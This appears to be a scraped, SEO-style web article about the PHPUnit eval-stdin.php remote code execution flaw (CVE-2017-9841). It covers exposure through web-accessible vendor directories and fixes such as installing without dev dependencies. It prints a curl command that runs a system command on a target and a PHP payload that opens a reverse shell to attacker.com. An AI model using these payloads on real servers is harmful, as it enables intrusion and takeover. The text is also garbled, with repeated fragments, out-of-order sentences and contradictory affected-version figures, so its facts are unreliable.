Src Util Php Eval-stdin.php Cve — Vendor Phpunit Phpunit

Despite being patched in June 2017, cybercriminals continue to scan for the exposed endpoint vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php across millions of web applications. The flaw carries a maximum CVSS v3 score of 9.8 , making it an incredibly high-yield weapon for automated threat actors.

Also, check if the file exists and is web-accessible:

When deploying modern PHP projects via Composer, dependencies are stored in a root-level directory called /vendor . If a web server's document root is misconfigured to point to the project root instead of a public directory (like /public or /www ), the entire /vendor tree becomes world-readable. The Attack Lifecycle

The file vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php is a perfect storm: a unit testing utility, a missing --no-dev flag, and a web-accessible vendor directory. CVE-2017-9841 turned two lines of code into a universal RCE gadget for hundreds of thousands of applications.

: PHPUnit before 4.8.28 and 5.x before 5.6.3 Technical Analysis vendor phpunit phpunit src util php eval-stdin.php cve

In 2020, PrestaShop warned that its ps_facetedsearch module and other modules could be vulnerable if they included PHPUnit as a dependency. The same eval-stdin.php file could be exploited to execute code on PrestaShop stores, endangering e-commerce websites.

curl -d "<?php system('id'); ?>" https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

Because many modern PHP applications use Composer to manage dependencies, the vendor folder is often deployed to the web root. If the web server is misconfigured to allow public access to the /vendor directory, the vulnerability becomes remotely exploitable. The Attack Vector

<?php exec('/bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'); ?> Despite being patched in June 2017, cybercriminals continue

The critical flaw in this script stems from a single line of code: eval('?>' . file_get_contents('php://input')); Use code with caution. Why This Is Dangerous

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composer install --no-dev --optimize-autoloader

Critical (CVSS 9.8) Affected versions: PHPUnit ≤ 4.8.28 and ≤ 5.6.3 Fixed in: PHPUnit 4.8.28, 5.6.3, and later If a web server's document root is misconfigured

There are three primary ways to address this vulnerability:

Many automated scanners, such as the PHPUnit Go Scanner, check dozens of possible paths where eval-stdin.php might be located. After confirming a vulnerable target, the attacker can execute system commands to compromise the server further.

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